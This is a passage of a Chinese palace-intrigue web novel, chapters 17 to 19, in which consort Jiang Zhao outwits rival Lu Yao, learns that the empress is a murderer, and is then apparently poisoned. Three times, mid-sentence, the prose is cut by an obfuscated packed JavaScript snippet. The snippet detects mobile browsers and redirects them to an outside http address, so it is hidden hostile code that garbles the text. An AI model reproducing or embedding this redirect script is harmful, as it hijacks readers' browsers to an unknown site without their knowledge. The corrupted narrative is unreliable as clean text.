江昭眸色幽深如井,她低笑,声音只容两人听见:“不用狡辩了,你以为我不知道你的心思?你的算计,在本宫眼里,根本无所遁形。你就是个跳梁小丑,还以为本宫不知道你是个什么人?留着你,不过耍你玩罢了。哎呀,狐狸尾巴都不知道藏好了,露出来叫本宫抓到了。你说,要是本宫告诉皇上,你伪造本宫和裴玉的书信算计本宫,他会怎么看你呀?” 她俯身,指尖冰凉,捏住陆瑶的下颚,像捏住一条毒蛇的七寸,“你还不知道吧,本宫腹中已有龙嗣,往后你还是得一直一直仰视本宫,一辈子做本宫的影子。” 陆瑶果然被激怒,眸中血丝乍现,冷笑一声,索性撕下温顺面皮,不顾一切地宣泄自己的情绪:“你知道了又如何?告诉皇上又如何?看皇上是信你,还是信我!我筹谋那么久,就是要让皇上疑心你和裴玉,坐实你们私情!你有了龙嗣又如何,正好让皇上疑你孩子血统,让皇上亲手除了你的孩子!你挡我路,我便要你万劫不复!” 话音刚落,殿门“砰”地被推开。皇帝面色铁青,目光如刀:“放肆!”他的目光先落在陆瑶涨红的脸上,再扫过案上散落的信笺,最后停在江昭不可置信的脸庞上。 江昭扑在地上,裙摆像花一样铺开。她哭得梨花带雨,晶莹的泪珠止不住地滚落,任谁都能听出她的委屈,叫人无比怜惜:“皇上!臣妾不过想帮陆瑶妹妹试妆,不意竟在妆奁底层翻出这些污蔑之词!她……她竟伪造书信,诬陷臣妾与裴大人有私,连皇上的骨血都要置疑!若叫她得逞,臣妾和孩子哪里留得命在?皇上,臣妾与她自幼相识,情同姐妹,她竟狠毒至此!要置臣妾与皇嗣于死地,还要臣妾污名加身,永失圣心!” 陆瑶慌了神,踉跄几步,跌坐在地。她不敢去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146564|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看皇帝此时的目光,只怔怔盯着散落在地的信笺,喃喃道:“不是的……不是的,怎么会这样。” 皇帝盯着陆瑶的神色,也明白了几分,一时失望:“芙贵人,你还有什么话要对朕说的吗?” 陆瑶指尖抠进掌心,良久,她垂下头,面上一片灰败,切齿道:“臣妾技不如人,无话可说。” 皇帝怒极反笑,连点三下头,眸中厌色如潮:“唯有绿荷红菡萏,卷舒开合任天真。可惜你兰形棘心,玉曜瓦质,配不上这封号,更枉负朕之恩宠。相鼠有皮,人而无仪。既无仪,留之何用!” “来人!芙贵人陆氏,无德无行,包藏祸心,褫夺封号,即刻打入冷宫!” 内侍蜂拥而入,就要将陆瑶拖走。 江昭垂眸,指尖轻抚小腹,唇角微不可察地勾起。 陆瑶听到皇帝如此嫌恶自己,只觉面皮被人当众撕下,践踏在尘埃里。她抬头,正对江昭安然无恙的脸,心口一抽:江昭,我不好过,你也别想好过! 陆瑶声音陡然拔高,带着破釜沉舟的狠劲:“皇上!臣妾纵有千错,江昭也未必干净!她与裴玉青梅竹马,朝夕相对,若说毫无情愫,您真能相信?真能安枕?!” 江昭深深福下,抬眸望向皇帝的眼睛,澄澈眼底映着摇曳烛火,像一泓静水映着星辉。她目光坦荡,没有半分游移,声音从容而笃定:“皇上,臣妾之心,天地可鉴。裴大人之于臣妾,不过邻家兄长。臣妾遇见皇上,方知何为心动、何为归属。情不知所起,一往情深。还望您勿信奸人挑唆。” 皇帝听完,眉间戾气缓缓散去,眼底掠过一丝愧色,将江昭扶起。他抬手轻轻一挥,有些不耐烦之意,内侍即刻上前,将陆瑶的嘴死死堵住,快步拖走,裙裾在青砖上擦出急促的沙沙声,很快消失在幽暗的月色里。 夜色深沉如墨,皇帝意兴阑珊,无心再留,便携江昭往乾清宫缓步而行。宫灯在檐角晃出碎金,一众宫人默默无言地跟着帝妃二人。 皇帝侧首,低声道:“今日委屈你了。” 江昭眸光微黯:“皇上何曾给了臣妾委屈受?臣妾不觉得委屈。只是惊觉多年姐妹,竟暗藏不轨之心,是臣妾识人不清。” 皇帝轻叹,眸中暗藏痛意:“朕又何尝不是?朕知道你们情同手足,朕也曾被并肩多年的友人背刺。昭儿莫再为了她,伤神伤身。你与贤妃交好,贤妃温厚贤良,想必不会再发生这样的事情。往后有她陪你,朕也放心。” 江昭拢了拢披风:“宁姐姐赤子之心,实在难得。” 皇帝握住她手,掌心灼热:“昭儿,方才你说……有了朕的孩子?” 江昭眼睛里闪着光,和天上的星星交相辉映:“上天垂怜,方赐此喜。” 皇帝状似喜悦:“这样的喜事,怎么不早告诉朕?” 江昭看清他眼中一闪而过的怀疑之色,嘴角扬起一抹凉薄的笑:“臣妾也是才知道不久,原想着给皇上一个惊喜,岂料陆瑶竟然想要污蔑孩子的血脉。皇上,臣妾和孩子实在冤枉!若连他的父亲都不相信他,孩子该有多伤心啊!待孩子落地,眉眼像谁,自然一目了然。臣妾心中坦荡,若皇上仍疑,臣妾无颜偷生,唯有一死以证清白。” 皇帝不置可否,沉声道:“朕自然信你。朕已决意晋你为妃,明早晓谕六宫,以慰今日之惊。” 江昭福身:“臣妾深谢皇上信任。” 17. 第六次轮回(二) 翌日果真细雨如帘。然,皇后却并未称病,早早安座坤宁宫,等着各宫妃嫔前往请安。 一早便有内监将江昭因身怀龙嗣,晋位封妃的圣旨晓谕六宫。不多时,各宫又各自碎了一大批瓷器。 皇后的病果真是个托词,看来,在四皇子安神汤里下毒的,是皇后了。细雨斜斜,江昭撑着伞前往坤宁宫。 卯正一刻,坤宁宫檐下铜铃方歇,各宫已陆续落座。 殿内金猊吐瑞,暖香浮动。衣香鬓影,香风阵阵。莺声燕语,此起彼伏。 殿外太监拉长声调,高声唱道:“明妃娘娘到——” 江昭甫一踏进殿门,便察觉座次已变——原本她排在兰嫔、荣嫔之后,静贵人之前,如今却前移到兰嫔与荣嫔之前,仅次贤妃、穆妃。区区几步的挪动,却是许多人一辈子都无法跨越的鸿沟。这细微的变动,似一滴水珠,又激得众人心湖泛起涟漪。 江萤看着江昭施施然落座她前面,指甲几乎掐进掌心,一双杏眼死死钉在江昭尚未隆起的小腹上,似要灼出洞来。她唇角勉强扯笑,眼底却翻涌着压不住的妒火。 兰嫔与穆妃却含笑向江昭招手。兰嫔先开口,声音柔得像一泓春水:“明妹妹,头三个月最是要紧。我怀夕照时,日日一盏红枣枸杞乌鸡汤,既安胎又补血,妹妹不妨试试。” 穆妃亦点头,接过话头:“夜里腿若抽筋,便叫宫女煮碗热牛乳,放一撮芝麻,极见效。”二人言语殷殷,皆是过来人的体贴。江昭自是谢过。 贤妃坐在上首,眉眼弯弯,目光里满是欣慰与欢喜。她抬手示意木樨给江昭添个软垫,又递上一盏特意带来的尚温热的红枣桂圆枸杞茶,轻声道:“你如今身子重,千万别逞强。若有什么缺的,只管打发人来说。” 众目睽睽下,江昭含笑接过茶盏,余光瞥过殿中那几双或嫉或羡的眼睛。她知道,斗争,才刚刚开始。 果然,敏贵人扬声:“还未贺明妃大喜,果真好福气。这入宫未满一年,便位列妃位,真真叫人羡煞。可怜咱们在座姐妹,就没有这样的好福气了。” 贤妃道:“昭妹妹德才兼备,皇上爱重,原是水到渠成。” 敏贵人撇了撇嘴,环视殿内一圈,又惊叹:“哟,今儿殿里真清净,竟少了这么些人。”说罢“啧啧”几声,又道:“温氏杖杀,静贵人‘带发修行’,陆氏一夜之间入了冷宫。” 众人闻言,不由一时沉默。温氏之血、付氏之泪、陆氏之哀,兔死狐悲,涌上心头。 敏贵人却轻掩唇角,眸光直直盯着江昭,“哎呀,陆氏不是与明妃情谊深厚吗?既是世交,怎的没替她求个情?说来也怪,陆氏向来伶俐,竟一夕之间进了冷宫。明妃与她情分最厚,可知其中缘故?” 江昭抬眼斜睨敏贵人,淡淡道:“敏贵人还是少替旁人操心,管好自己吧。不该问的,别问。一切自有皇上圣裁。陆氏今日的下场,不过是她咎由自取。只要不去害人,自然不会步其后尘。” 敏贵人讨了个没趣,又眼珠一转,转脸向瑜常在,指桑骂槐道:“到底是嫡出的,如今妹妹倒踩到姐姐头上了,可有趣?” 江萤被戳到痛处,脸腾地涨得通红,手指直戳过去,声音又尖又碎:“你!你算个什么东西!也敢编排本宫!” 敏贵人吓了一激灵,赶忙侧身避开江萤的指尖,嘴上仍逞强道:“哎呀,荣嫔姐姐火气真大。妹妹不过随口一问,倒叫姐姐急了。” 瑜常在声音清冷,不耐烦道:“敏贵人还是消停些吧。没了温氏上蹿下跳,如今倒显出你来了。” 恰在此时,珠帘微响,凤履轻移,皇后自垂帘后转出,发髻上的九尾金凤衔珠流苏步摇微微摇晃。众妃忙敛袖深福:“给皇后请安,皇后万安。” 众人俯身之际,皇后不急不慢落座,轻抬玉手:“诸位妹妹请起。” 众人齐声应“是”,这才扶了宫女的手起身,依序落座。甫一坐定,便一齐抬眼望向皇后。 皇后端坐正中,目光流转:“本宫方才在内,似听得几句争执,不知所为何事?” 荣嫔抢在敏贵人之前开口:“回皇后,敏贵人口口声声说臣妾‘嫡庶有别’,又拿臣妾位份说嘴。” 敏贵人道:“娘娘明鉴,嫔妾只是好奇陆氏为何骤然获罪,又见明妃与荣嫔关系有趣,顺嘴一问,谁知荣嫔如此在意。” 皇后训诫道:“既入皇家,嫡庶不过虚名。敏贵人嘴上留德,若再妄议嫡庶,惹了皇上厌弃,本宫也保不了你。敏贵人便罚俸两月,以儆效尤。” 皇后又看向荣嫔,语气稍缓:“今日你受委屈了,本宫那对缠丝金蝶步摇便赏你。一家子姐妹,和和气气的才是。” 荣嫔谢恩,神色稍霁。敏贵人咬唇,却迫于皇后威势,只能在众目睽睽下哑巴吃黄连,咽下苦果。 皇后目光一转,落在江昭身上:“明妃,如今你身怀龙嗣,多加小心才是。可有什么不适吗?” 江昭回道:“谢皇后关怀,臣妾素来体弱,如今有些胎象不稳。” 皇后轻抚衣袖:“既如此,更不可大意。本宫这里有些滋补佳品,你且带回去日日用着。如今把脉的是哪位太医?可堪用吗?若不妥帖,不如让太医院院首顾歧为你请脉安胎。” 江昭拒绝:“多谢娘娘好意,裴大人熟悉臣妾脉案,便不另换他人了。” 皇后微微颔首,不再坚持:“也好,既用惯了,便由他继续照料。只是要他每日请脉一次,若有半点闪失,本宫唯他是问。” 皇后又环视众人,正色道:“其余妹妹亦需多多用心,好好调养。皇上子嗣不丰,开枝散叶是尔等本分。若有人有福气同明妃一般,为皇上延绵子嗣,本宫做主,必定面奏皇上,为其请封。” 众妃齐声恭顺应“是”。 众人又打了些机锋,皇后便宣布晨会散了。众人一齐行礼,起身后,纷纷离去。贤妃一马当先,穆妃抬手示意江昭先行,江昭含笑摇头,穆妃笑笑,这才提步。随后江昭、兰嫔、荣嫔等人依次而出。 荣嫔咬唇暗恼:昔日她总要抢在江昭前头出去,以彰显自己的地位,如今却不得不落后半步。敏贵人虽自诩潜邸旧人,也不敢逾越,只得低头随行。众人心里都明白:四妃已占其三,江昭是真的不可同昨日而语了,且江昭之势如日中天,终点恐不止于妃位。 皇后仍坐在凤座上,目光幽深,将一切尽收眼底。 江昭出了殿门,就见贤妃笑意盈盈等在那里。江昭上前,一把挽住她:“姐姐在等我吗?” 贤妃笑着携了江昭的手:“如今可不必叫我久等了。” 两人并肩走在长长的宫道上,宫墙阴影投地。贤妃眉眼轻快:“你也封妃了,我就说这一日不会迟。瑾儿终于要有弟弟了,你不知,他念了多少次。” 她顿一顿:“陆瑶……我知你性子,我已打听清楚,她自作孽,不提也罢,你也不要太伤心了。” 不知想到什么,贤妃又发自内心地笑起来:“如今你我都是妃位,穆妃和兰嫔也极好相处,荣嫔是个草包,再无人敢欺负我们了。便是皇后要动我们,也得掂量掂量。昭儿,我好开心。” 江昭握住她的手,眸里盛了细细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150965|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑意,像碎了的星子:“姐姐,我也是。” 与贤妃分开后,江昭独自缓行于幽长宫道,思索怎么对付静贵人。付璃活着,于她而言,实在是太危险了。付璃初有身孕,便迫不及待要除掉贤妃之子为孩子铺路。付璃又对她恨之入骨,若知她也有孕了,岂会坐视不理?必以腹中骨肉为盾,变本加厉。或借太后之势,或直接下手,她与孩子皆成付璃的眼中钉。 她心头反复权衡:不能急,不能急。太后耳目众多,行事务必谨慎。上一回仓促行事,险些授人以柄。付璃深夜抗旨出行,无非两条路——或来寻她,或去寻贤妃。付璃一死,太后必定疑心她与贤妃,疯狂报复。付璃的死,也会惹来皇帝的怀疑与恼火,失去圣心。若付璃不来,守株待兔亦是徒然,可付璃害死她那么多次的仇,非报不可。与其被动防守,不如主动出击。 更棘手的是,江昭怀疑太后也知道付璃有孕的消息了,如今不过想着密而不发,瞒住众人,又让她带发修行,淡出众人视线,让旁人放松警惕,不把目光和心思放在她身上。待满三月胎坐稳了,旁人不好下手,再爆出消息。 不过以付璃的脾气,一旦得知她江昭亦怀有龙嗣,嫉恨之下很可能说出自己也有身孕的消息。皇帝顾忌皇嗣,定会赦她出佛堂。届时在太后羽翼保护之下,动手亦是虎口拔牙。 太后根基深厚,在宫里又经营许久,势力盘根错节,她纵有暗线也难近付璃身侧。下毒、买通宫女皆易引火烧身,把自己暴露出来,惹得太后的报复。 看来,唯有罪名大到太后也掩盖不了才能扳倒付璃。江昭把目光转向前朝。皇帝多疑,忌惮她江家,难道就不忌惮外戚了吗? 付家仗着是太后母族,皇亲国戚,素日豢养私兵,彰显权势,如今付璃有孕,正是天赐良机。 贪墨、结党营私不足以扳倒付家,唯有谋逆,威胁到皇帝的位置,才能将付家连根拔起。江昭计上心来,思定三策: 先令乐雪传信与江府,嘱托父亲暗查付家,搜罗其豢养私兵、谋逆叛上的证据。 再让各宫眼线散播付璃有孕的消息,同时让御花园的两名洒扫小宫女,闲谈间散布“近亲血脉多畸”之语,让流言随风传入皇上的耳朵。皇帝子嗣本就稀薄,帝位又来得并不光彩。若再添一名畸形皇子,朝野必以“天命不佑”相讥,皇位得之愈发不正,坐之愈发不稳。 待风声四起,再授意御史递折,“若付氏得子,恐外戚坐大”……“付家豢养私兵,意在拥立付氏皇嗣”为由,坐实谋反之罪。付家谋反,皇帝还容得下付璃腹中之子吗?皇帝纵再惜血脉,亦难容逆鳞被触。 付璃若闻“近亲血脉多畸”和“付氏谋反”之讯,必惊惧胎动。付家失势,付氏腹中之子亦难保全。一石数鸟,纵是太后也鞭长莫及。毕竟若是皇帝容不下这个孩子,太后纵有万般手段,也保全不了。以付贵人的性格,天长地久的,迟早消磨掉皇帝的情意,失了孩子的她,不过是只没牙的老虎。 再者,她就不信其他人若知道付璃有孕,能忍住不动手。付璃这一胎若曝了光,便成了众矢之的。皇后首当其冲。中宫虽有嫡长子,可她后位不稳,她连贤妃之子都容不下,怎么容得下太后侄女之子呢?太后纵有通天之能,也护不住四面八方的冷箭。 江昭只需把风声放出去,自会有人替她动手。她不必染血,只须轻轻推一把,便可坐看群狼噬虎。届时,她再浑水摸鱼,推波助澜,必要付璃付出代价。 打定主意,江昭心中安定,也不回宫了,带着乐雪转道往冷宫去。陆瑶……她终究还有话想再问问她。 18. 第六次轮回(三) 云收雨歇,残阳透金,暑气却仍闷在宫墙里。 江昭行至冷宫门外,指尖刚触到斑驳铜环,便听得里头断续交谈声——那音色极熟,却是皇后许疏月。皇后怎会在冷宫?难道……陆瑶是皇后的人? 皇后声音低而冷:“温氏、付氏,真是不中用。手握太后之势,又得本宫暗开方便之门,却连一个黄口小儿都除不掉,反倒打草惊蛇,叫明妃警觉,引皇上亲自庇护,坏了本宫一直以来的谋划。本宫布在四皇子身边的眼线,如今尽废!至于你——” 她语调陡转,寒意逼人,“你也是个没用的,本宫原让你与明妃交好,待她有孕,便神不知鬼不觉地下手。可你呢?一着不慎,早早暴露。明妃和贤妃恐怕早就知道了,把你耍的团团转。略施小计,你就废了。如今困在冷宫,失了圣眷,还想拿什么与本宫讨价还价?” 陆瑶道:“皇后娘娘若肯在皇上面前为嫔妾求情,助嫔妾出去,陆家势力愿为娘娘所用。若娘娘弃我——那嫔妾唯有将所知全盘托出,到时候恐怕坏了皇上与娘娘的多年情意。” 皇后声如玉磬:“你以为本宫看不出?你不过假意依附,实则早存取而代之之意。你以为仅凭你一面之词,皇上便会疑我?本宫是皇上发妻,又诞下嫡长子,中宫之位稳如磐石。你告诉本宫,如今你还有何价值,值得本宫费心力救你出去?是能让皇上回心转意,还是能替本宫扫清障碍?若本宫开口求情,倒显得本宫授意于你做出这许多事情。若本宫扶持你出冷宫,你却再无手段笼络圣心,本宫岂不是竹篮打水一场空?” 皇后好整以暇:“纵使你知道本宫的诸多谋划,也妄想拿来要挟本宫吗?” 陆瑶声音发颤,却透着绝望:“陆瑶不敢。你今日剖尽底牌,是不想留我了。既已无用,又知你太多秘密,我……怕是活不过今日。” 皇后轻笑,似在宣判:“宫里容不下聪明人,也容不下没用的人。你两样都占,本宫自然留你不得。” 江昭贴在半朽的宫门后,连呼吸都小心翼翼的。皇后……这是要杀人灭口?! 江昭心口骤紧,脚下一滑,几乎踢到门边湿泥。她忙收势,带着乐雪轻手轻脚离开,裙摆蹭上泥星,却丝毫顾不得。 一路回宫,她脑子里只剩四个字:螳螂捕蝉,黄雀在后。原来皇后就是那只黄雀,她挑起付璃和温蕊对自己的敌意,坐山观虎斗,帮付温二人偷偷扫尾,为大皇子铺路。皇后,皇后,怎么办,皇后是一国之母,没有确切证据,如何扳倒? 花开两朵,各表一枝。 冷宫的大门“嘎吱”一声,“陆氏‘投缳自尽’,娘娘尽可放心了”,皇后的贴身婢女锦书掩了殿门后,扶着皇后就要离开,忽察不对,锦书忙指地面:“娘娘,脚印不对!” 皇后眯眼——泥面凌乱,除却她与锦书的两双软履,竟还有另外两道纤细鞋印,浅却清晰,像一柄薄刃抵在喉间。 “是谁?是谁听见了?”皇后后退两步,嗓音发涩,手紧紧抓住锦书。 锦书提醒:“娘娘别慌,此时来看陆氏的,多半是明妃或贤妃,咱们再叫眼线查证一番谁不在宫中。” 皇后攥着锦书的手松开,长舒一口气——只要不是皇上就好,尚有转圜。她发狠道:“若听见了……便留不得了。” 锦书低声道:“娘娘早做打算,趁早动手,迟则生变。” 这边,江昭带着乐雪疾步回忘忧宫,回到自己的寝殿内,门一阖,心里才稍稍平静,她这才觉出背上早已湿透的冷汗。又想到了什么,江昭指尖沿发髻、衣襟一路摸索——珠钗,荷包,玉佩,素帕,均在该在的地方,妥妥帖帖。确认无一遗失,她抚住心口,长长吐出一口气:还好没留下半点痕迹,引起皇后警觉。昔日皇后高居帷幕之后,执棋无声,如今情况终于颠倒,皇后在明,她在暗。 江昭起身来到院中,换换压抑的心情。她俯身轻嗅蔷薇花,余光却被墙根一排小爪印勾住——估计是雪团那小猫儿刚踩过新泥,俏皮得很。她唇角才弯,笑意却骤然僵住:雨虽洗尘,有些痕迹会被掩盖,可有些也会因为雨显露出来,比如……脚印。自己先前竟忘了这一层!江昭的心猛地沉下。雨后的凉风掠过,江昭心里生出清晰的恐惧:皇后,多半已经知晓了。 江昭立在廊下,指尖掐进掌心,强迫自己压下翻涌的惊惧。如今也只能以静制动,以不变应万变了,对付付璃的同时搜集证据,将皇后的真面目揭露在皇帝面前,借皇帝之手废后。早知道,她就该闯进去阻止皇后杀陆瑶,可她为掩人耳目,只带了乐雪,真与皇后硬碰硬,只怕是玉石俱焚,把自己也折进去。 乐雪出言道:“娘娘何不将今日所见所闻,同皇上全盘托出?戕害宫妃乃重罪,皇后定吃不了兜着走。” 江昭摇摇头,眸光深沉:“本宫若是指证皇后杀了陆瑶,皇上不会相信的,皇后为何要杀陆瑶?皇上只会疑心本宫杀了陆瑶后,嫁祸给皇后。如今亦无证据表明皇后谋害四皇子,唯一的人证陆瑶已死。空口白牙,如何可信,反惹祸端。” 乐雪扼腕:“难道就眼睁睁看着皇后戴着那张伪善面具继续招摇?” 江昭冷静道:“装的终有露出真面目的一天,只要皇后出手,我们便能找到证据。蚁多咬死象。咱们终会撕下皇后的面具。” 午后的暑气闷在殿内,连蝉鸣都透着倦意。江昭倚在坐榻上,指尖拈着绣针,正平心静气地绣着给孩子的虎头帽。 乐雪端来一只鎏金小盘,盘中一盏姜丝红糖水,旁边另配酸梅汤与山楂糕,甜酸气味交杂。她低声禀道:“娘娘,御膳房送来了些补气血的饮子。奴婢已验了无毒,娘娘放心。娘娘若不喜欢姜丝辛辣,吃些酸梅汤与山楂糕开开胃也是好的。” 江昭扫了一眼,唇角勾起冷笑:“瞧瞧,皇后的手段这不就来了吗,真是迫不及待!姜丝红糖性温,平日喝了祛寒温脾,可它活血化瘀,有孕之人最忌。酸梅汤、山楂糕皆含山楂,虽说开胃健脾,可惜山楂乃寒凉滑利之物,少量无妨,日日食用则会滑胎。” 乐雪扑通跪下:“奴婢失职,竟让皇后钻了空子,险些害了娘娘。奴婢记得裴大人叮嘱的薏仁和杏仁需避开,可奴婢没想到,这里头的门道竟这么多。奴婢无用!” 江昭放下绣绷,稳稳扶起乐雪:“不怪你,我也所知不多,这还是从前额娘告诉我的。这饮食害人的法子,皇后倒用得炉火纯青,也不知害了多少人。乐雪,把这几样东西原封不动送去乾清宫,呈给皇上,就说本宫感恩御膳房‘体贴’,却不敢擅用,请圣上决断。” 乐雪迟疑:“娘娘,如此一来,皇后必定警觉,皇上即便去查,最后也只能查出皇后推出的替罪羊罢了。” 江昭抚着绣棚:“正是敲山震虎,难道咱们装作不知,她便不下手了吗?就是要让皇后知道,我们已看穿了她的把戏。先吓她一吓,她若再敢伸手,必留痕迹。皇上的情意和信任,又经得起几次消磨?让皇后知道咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163093|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边不好下手,引得她不敢轻举妄动才是。皇后的想法不要紧,引得皇上的保护和怜惜才要紧。” 乐雪道:“奴婢懂了,咱们要叫皇后知道,在这些吃食上动手脚,便是错了主意。” 江昭赞道:“正是这个理。另,吩咐烟岚去叫御膳房做些消暑的紫苏饮,西瓜露,酥山,绿豆甘草汤来。叫他们切莫做些相冲相克的,若再敢糊弄本宫,便真是活得不耐烦了。” 乐雪应下,转头去了。 御膳房果然乖觉,后头除去江昭点名要的四样,又送来了些茯苓霜,花生酪,枣泥山药糕,莲子百合汤,湘莲燕窝粥,建莲红枣汤作为赔罪,皆是些中规中矩不出错的,叫江昭感叹这会儿这些奴才脑袋倒清醒起来了。 原是皇上听闻乐雪所言,雷霆震怒,又处置了些御膳房的奴才,惹得人人自危。 皇帝给江昭赐了些赏赐以作安抚,又让乐雪转告晚上会来看她,江昭这才展颜。 下午,暑气蒸人,内务府总管钱安泰公公突然造访,他领着几名小太监抬了一口青花大缸进殿,缸内冰块堆得小山似的,他躬身谄笑,谄媚道:“娘娘,皇上吩咐了,盛夏酷暑难耐,您殿里的冰该早早供应起来,纳凉避暑,最是相宜。奴才斗胆,又挑了这几盆新开的茉莉花来,摆在室内,花香清冽,能为娘娘解忧消愁,清心助眠。” 江昭使了个眼色,乐雪会意,捧出一只荷包,内装金锞子,双手奉与钱安泰,“公公有心了,难为你想着本宫。暑气逼人,公公辛苦了,替本宫多谢皇上。” 钱安泰忙哈腰接过,双手高举过头接过,笑得眼角堆褶:“不敢当不敢当,替皇上办差,为娘娘做事是奴才的福分!娘娘若有何要求,尽管吩咐奴才!”说罢,又朝江昭深深一揖,方才领着众小太监退下。 钱安泰等人走后,室内凉气散开,与茉莉香气交织,清凉扑面。江昭倚窗,指尖拨弄几朵素白小花,乐雪打着团扇,凑近嗅香,眉眼弯弯:“娘娘,这花好香呀,香气也宜人,闻着舒心解乏,配上这冰块,凉气里掺着清甜,实在快活。皇上是把娘娘放在心尖尖上呢,什么都为娘娘打算好了。” 江昭失笑,轻点她额角:“你这丫头,又贫嘴。” 乐雪撅嘴,愤愤不平:“娘娘,奴婢不懂。钱安泰那狗东西,就是个势利眼。您落魄时,他落井下石,嚣张的不得了,如今倒学哈巴狗摇尾。奴婢实在瞧不上他这番作态,看不惯他那副嘴脸。娘娘为何不教训他,反倒赏他?” 江昭拈花一笑,淡淡道:“得饶人处且饶人。小人物的生存之道罢了,何必与他为难。这世上,本就是锦上添花易,雪中送炭难。天下熙熙,皆为利来。天下攘攘,皆为利往。利来则聚,利尽则散。从前本宫一朝失势,他落井下石,也只是奉了旁人的命令,本宫虽然生气,却不恨他,只恨那发号施令之人。且做人论迹不论心,如今事情尚未发生,他既还没有撕破脸皮,亦没有伤害本宫,本宫便假作不知,与他面上过得去罢了。你既知他是个怎样的人,何必浪费时间在他身上,又何必为这样的人生气,实在不值得。” 乐雪歪了歪头:“奴婢受教了。” 锦书趁皇后午憩,借拿点心之由悄然离宫,一路穿花拂柳,七拐八绕,她四顾无人,方走进假山深处,低语道:“主子神算。奴婢只稍提几句‘四皇子若长成,恐碍中宫’,皇后便动了杀心。如今她眼里已容不下四皇子,更容不得明妃。风浪将起,您只需稳坐钓鱼台。” 19. 第七次轮回(一) 午后疲乏,久居室内,江昭的手不自觉抵上了额角。 乐雪见状:“娘娘可是累了,奴婢服侍您休息一会儿吧。” 江昭眉心微蹙,有些不舒服:“好,不知怎的,有些晕眩,胸口也犯恶心。” 乐雪扶她躺下,轻声安慰道:“想来是孕中常有的困乏,娘娘歇一歇吧。”说罢执扇,一下一下为她送风。 随着冰块融化,室内愈发凉爽,花香清甜。江昭阖眼,呼吸渐沉。乐雪摇扇的手也渐渐慢了下去,只觉眼皮重若千钧。她心道:“奇怪,这花香怎么越来越浓了。她也有些犯困……”念头未竟,身子已软软歪倒,扇柄“啪”地坠地。 将近酉时,金乌西坠,暮霭沉沉,殿内关窗垂帘,十分昏暗。入画拨开珠帘进入内室,提醒江昭为皇上驾临做好准备。方一进入,便觉凉意扑面,花香馥郁。只是香雾浓浓,无比甜腻,呛得入画直犯恶心。她以帕掩口轻咳,抬手扇了扇,心道这般浓郁的香气,怎么主仆二人都没有反应。 入画挥着帕子,花香像潮水般涌来。她急忙推开两扇窗子,清风卷进,香雾缓缓散去,这才觉得脑袋清明了些,没有方才头晕目眩的感觉了。殿中未掌灯,黄昏影里只见床榻上罗帐低垂。入画心下有些疑惑,娘娘今日小憩怎比往时长这么久,将至晚膳了,竟还未醒。且今日皇上要来,再不做准备梳妆打扮便来不及了。乐雪这丫头,也不提醒娘娘。 入画轻步靠近床榻,低声唤:“娘娘?乐雪?快用晚膳了。” 无人应答。 待走近,打开的窗子有微光透进,入画这才看清:乐雪歪倒在脚踏边,面色青白。江昭半覆锦被,唇色灰黯。她心头骤沉,乐雪素来忠心,再没有当值的时候打瞌睡的。主仆二人怎么会一个都不警醒,睡得这么死。 她赶忙伸手去摇乐雪,指尖触到乐雪的手,一片冰凉。再探二人鼻息,竟没气了。 入画失了平日的稳重,失声惊叫:“娘娘!娘娘!来人啊,快传太医!” 声音撞破寂静,殿外脚步急奔,烟岚朝太医院拼命奔去。 不多时,裴玉急匆匆提着药箱闯了进来,几乎是跌进殿门。一眼便瞧见榻上,江昭面如金纸,唇色乌青,脸庞毫无生气。裴玉指尖颤抖着搭上江昭的脉……然而腕间冰凉,脉息全无。他反复探了三四次,才终于意识到——江昭,是真的死了。 胸口像被铁锤击中,裴玉无法接受,“不会的……”,他声音嘶哑,像被砂纸磨过,“我救不了她……我竟救不了她!”,裴玉的目光死死钉在江昭乌青的唇上。 外头有些嘈杂声响,原是皇帝驾临。裴玉却仿佛听不见,他只听见自己胸腔里那颗心,一寸寸裂开的声音。泪终于砸下来,落在冰冷的青砖地上。 皇帝已听闻此事,不可置信,“明妃中午还好好的,怎会转瞬薨逝!” 裴玉跪地:“微臣并非仵作,但观娘娘唇色,是中毒之症。” 皇帝闻言蹙眉:“中毒?毒从何而来?” 裴玉叩首:“皇上请容微臣查看。” 皇帝道:“准了。” 殿内仍有残香淡淡,裴玉循味望去,心下了然,原是几盆新换的茉莉,花色洁白,气味清冽雅致——对常人无害,对有孕之人亦无妨,与死因无关。 裴玉快步走近,抬手,将茉莉连枝摘下,俯身轻嗅,又摘下几片花瓣碾碎,指间只余清冽的香气。又将糕点掰开成屑,银针探入再取出,针体雪亮如初,又取出一点入口,味正甘软。茶汤亦以银针试之,亲自饮之,皆无异常。 